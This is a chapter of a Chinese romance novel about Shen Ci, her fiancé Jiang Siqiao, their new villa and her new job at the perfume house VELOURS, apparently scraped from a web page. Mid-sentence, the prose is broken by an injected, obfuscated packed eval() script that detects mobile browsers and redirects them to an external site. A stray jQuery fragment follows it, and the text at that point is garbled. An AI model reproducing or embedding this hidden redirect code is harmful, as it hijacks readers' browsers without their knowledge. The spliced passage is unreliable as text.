04.
沈瓷靠在车窗上,雨丝儿拂过车玻璃,连成串又被打散。
车上了高架,夜色在她眼底飞掠。
蒋斯侨把外套一并给她,空调升起温度,合着他的体温,逐渐烘开极淡、极暖的一丝佛手柑的香气。
他瞥她一眼,又气又好笑,“你就喝成这样了?”
沈瓷指尖缓慢揉太阳穴,有些委屈:“……没喝多少。”
遇到红灯,蒋斯侨向她伸手。她的脸颊稳稳碰到他温热的掌心。
沈瓷看到自己落入了那双无比熟悉的眼睛里。蒋斯侨长相完全随他妈妈了,双眼皮、高鼻梁,星目朗朗。她看了这么多年,还觉得他耐看。
心下有了安全感,知道他不至于责怪明珂,但今晚也的确不关明珂的事,她乖巧保证:“下次我注意点儿。”
蒋斯侨轻哼,“蟾宫那地方我都好久没去了,你再不注意点儿,以后你晚上出去,我都得在后面跟着你了。”
他捏了一下她耳垂,收回手。
“那我们异国这三年你怎么过的,”沈瓷掰着指头数一下,在一起六年,他们异地不多不少恰好这个时间,她有心情开他玩笑了,“你每天都对我提心吊胆?”
“我怎么过的你不是一清二楚,我每天盼着你回到我身边,”蒋斯侨说,“再说,从小你一口一个‘斯侨哥哥’喊我,算我当哥的担心我妹妹,不也习惯了?”
沈瓷“哦”了声,故意说:“那我不当你女朋友了,当妹妹算了。”
“瞎说。”蒋斯侨笑意溢出眼底。
手机响了,车子越过红灯,蒋斯侨接起。
沈瓷听出是他助理。
对面说了几句,蒋斯侨便挂了:“公司电话。”
他一向什么都对她交代得一清二楚,沈瓷噙出笑,困顿应:“还没忙完?”
“不是,”蒋斯侨抿唇,“是我跟你说过的那个,江西那边的厂子有个工人受伤了,他家小孩是先天性心脏病。”
沈瓷有印象,“我记得。”
蒋斯侨:“晚上我安排人去机场接他们一家了,刚接到,我是觉得,还是北京的医疗条件更好一些,我联系了个医生,下月就能手术。”
他对手底下的人一向不错,沈瓷问:“蒋叔叔知道夸你了吗?”
“他还不知道……但可能已经知道了。”
“嗯?”
蒋斯侨有他的策略:“求他夸我多没劲,等哪天我们一起吃饭,他主动跟我提起来,我轻描淡写回他一句‘哦,是有这么回事’,那才爽。”
沈瓷笑了,心口闷沉沉的感觉也消失了。
忘了又聊了什么,路上堵了车,她把自己丢进座椅,索性闭上眼睛小睡一觉。
朦朦胧胧的,车似乎停在了哪里。
她以为到家了,睁开眼,蒋斯侨不在车里。
车窗漆黑一片,分不清,现在是又把她丢在了哪。只见夜空中一轮白月,映在玻璃上,冷惨惨。
她想拿手机打给他,摸索一圈却没找到。
驾驶座车门突然响一声,知道是他回来,她的心还是跳了下,惴惴的。
蒋斯侨上来,见她脸色有些白,“睡醒了?”
“……嗯,醒了。”沈瓷乖乖点头。
旋即,她手里被塞了罐热牛奶。他便利店买的。
还有她手机,他细心帮她装回包里。
“我的没电了,用了下你的支付,改明儿送你条新裙子还你,”蒋斯侨视线下移,“你这是今晚不小心刮哪儿了?”
沈瓷低了低头,顺着他。
这裙子的开衩原本在大腿根附近,她才发现竟撕扯开一截,向上蔓延而去。
隐隐约约,几乎什么都遮掩不住了。
“……”
她摩挲一下裙子的裂痕,千丝万缕的走线缠在她指尖,莫名又想到那个男人丈量她时的赤/裸视线。
她垂了垂眼睫,月影错落在她眼底,“可能是……我没注意。”
蒋斯侨见她又不说话了,他调整坐姿,和她面对面:“怎么了?”
“没,”沈瓷轻轻摇头,抬眸对他笑,“就是想起那会儿喝酒,碰见了的一个人。”
“哪儿的人?”蒋斯侨倒也不觉得她能给自己灌成这样,“惹到你了?”
“……”沈瓷又不知该怎么说了。
蒋斯侨发动车子,“我有空找人问问,今晚那儿都什么人的局。”
装热牛奶的玻璃瓶隔着裙子单薄的布料,紧贴她胃部。
知道他安慰居多,沈瓷靠住座椅,到底好受了些。
/
周日下午,沈瓷去了新房。
房子位于温榆河畔,每次过来都要开很长时间的车。蒋斯侨不满车库的朝向,让人改了新的方位,目前还在修缮。
沈瓷把车停在一旁的林荫道。
下车前,她给她的Leader回消息。
办完入职流程那天晚上,就有新的工作需求送达她邮箱,那晚她醉得狼狈,第二天查看了邮件。
她是直接调任过来,就职于VELOURS北京分部的核心研发部门。
但打开邮件附带的文件包时,还是有一些懵。
发给她的,是一位女性演员洋洋洒洒大几十页的资料。
整合了对方在网络上所有能查到的信息,包含出道历程,作品明细,还有近年的获奖经历。
这之外,还搜集了她的每段绯闻、恋爱对象身份,甚至她私生活的一些细节、癖好。
沈瓷对这位女演员很熟悉,原因无它,她近两年真的很红。
去年她靠一部温吞的文艺片,爆冷拿下意大利都灵电影节最佳女主角的提名,评奖期间,蒋斯侨飞来伦敦见沈瓷,他们恰好一起去看了首映。
VELOURS想为这位女演员独立研发一款个人概念的香水。
意为联名。
女演员最近杀青了一部香水主题的电影,沈瓷昨天在家“补课”她参演的作品,各个搜索引擎搜她的名字,跳出来的几乎都和这部电影有关。
要是做个人联名,把对方的资料、信息了解到文件那种程度……倒也是有必要的。
沈瓷的Leader叫汪静,十分钟前给她发了消息。
Maai Wang(汪静):
[ Flora,不着急的,我还在上海,我今晚回来,周一上午我们见个面,到时候你和我说一说你的想法?]
沈瓷原本想,如果有必要,她今天去公司做一下准备或相关调研。当然入职给主管打招呼,也是她的礼节。
说是双休,实则周末两天工作群里消息不断,大家看起来都很忙。
她回复:[好的,Maai。]
明天就是周一,这之前就要准备好她的“想法”。
她还是去一趟公司比较好,提前熟悉环境,她正好也带了她的办公电脑。
沈瓷上次来新房,还是春节休假,她和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487636|185705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蒋斯侨订了婚,当时一幢二层别墅空空荡荡的,进来只能听见高跟鞋声在回响。
如今上下两层,家具齐整,窗明几净。
阳台按她想法做了玻璃花房,水培植物蔚然一片,生机茂盛。
设计师是个意大利籍男人,在这里等她,他来中国多年,中文和英语都讲得很好,沈瓷与他沟通毫无障碍。
她对眼下的一切都满意至极。
走向二层主卧,沈瓷想到什么,“主卧的浴室,我还是想放一个独立的猫脚浴缸,如果要把原来的浴缸打掉,应该会破坏地板吧?你预计工期会延长到什么时候。”
现在是十月,她和蒋斯侨商量好月中搬完新家,月底她过生日。
下月立冬一过,他们就要结婚了。
重新做浴室,可能就没那么快能入住了。她有一些犹豫。
设计师一双灰色的眼睛看着她,忽然爽朗笑起来:“沈小姐,您和蒋先生还真是有趣。”
沈瓷微笑挂在脸上,“……嗯?”
设计师为她推开浴室门,向她展示:“你自己可能都忘了,你和蒋先生提过这件事了?他几个月前就和我说重做浴室,都换好了。”
印象中的镶嵌式浴缸不见了,改成不突兀的下沉式。还有一座通体洁白、金色猫脚的浴缸摆在中央。
手台上的花瓶插着一株白色鸢尾,露水新鲜。
沈瓷隐约想起,她好像真和蒋斯侨提过,具体想不起来了。
设计师和他们都很熟悉了,打趣她:“我发给你的PDF,你估计是看一眼就关掉了。”
“……确实没注意,”沈瓷笑了笑,真诚说,“因为对你放心,我每次都是确认一下我想要的细节到位了就行。”
想来也是蒋斯侨想给她惊喜,可能设计师每次和她核对家装细节时,刻意一笔带过去了,以至于她一直没发现。
沈瓷从房子离开,去公司的路上给他打电话。
她对他说了这件事,来了小脾气:“你不提前告诉我,我还在那里要求人家,好像我这人很难搞一样。”
蒋斯侨笑着承认:“那我现在能不能发个朋友圈和ins什么的?”
“你发什么?”
“就说给我老婆偷偷送了她喜欢的浴缸啊,照片在我手机存好几个月了,我这几天有事没事让人去给浴室放上你喜欢的花,生怕你什么时候去了,”他说了一通,有些恳求,“行不行?”
沈瓷“啪”的挂了电话,不想听他说了,嘴角却是不自禁上扬。
不知不觉开到VELOURS附近,也在望京路上。
路过蟾宫,她提起一些车速,飞快经过。
到了VELOURS那幢拔地入云的双子大楼前,她停好车,进去上电梯。她记得自己的部门在几楼。
打开手机,蒋斯侨果然发了朋友圈。
他就爱发他们的事。
蒋叔叔上次还说,他朋友圈都要成他们的“恋爱记事本”了。
电梯到42层,沈瓷踩着高跟鞋出去,经过前方一道通透明亮的走廊。
忽然听到一声呼唤。
“Flora?”
沈瓷的脚步顿了一下。
鬼使神差。
她转过头,看到一个打扮精致的女生快步上去,挽住穿蓝色鱼尾裙的另一个女孩,她们说说笑笑走远。
这次她听得很清楚。
叫的是Floria。
不是Flora。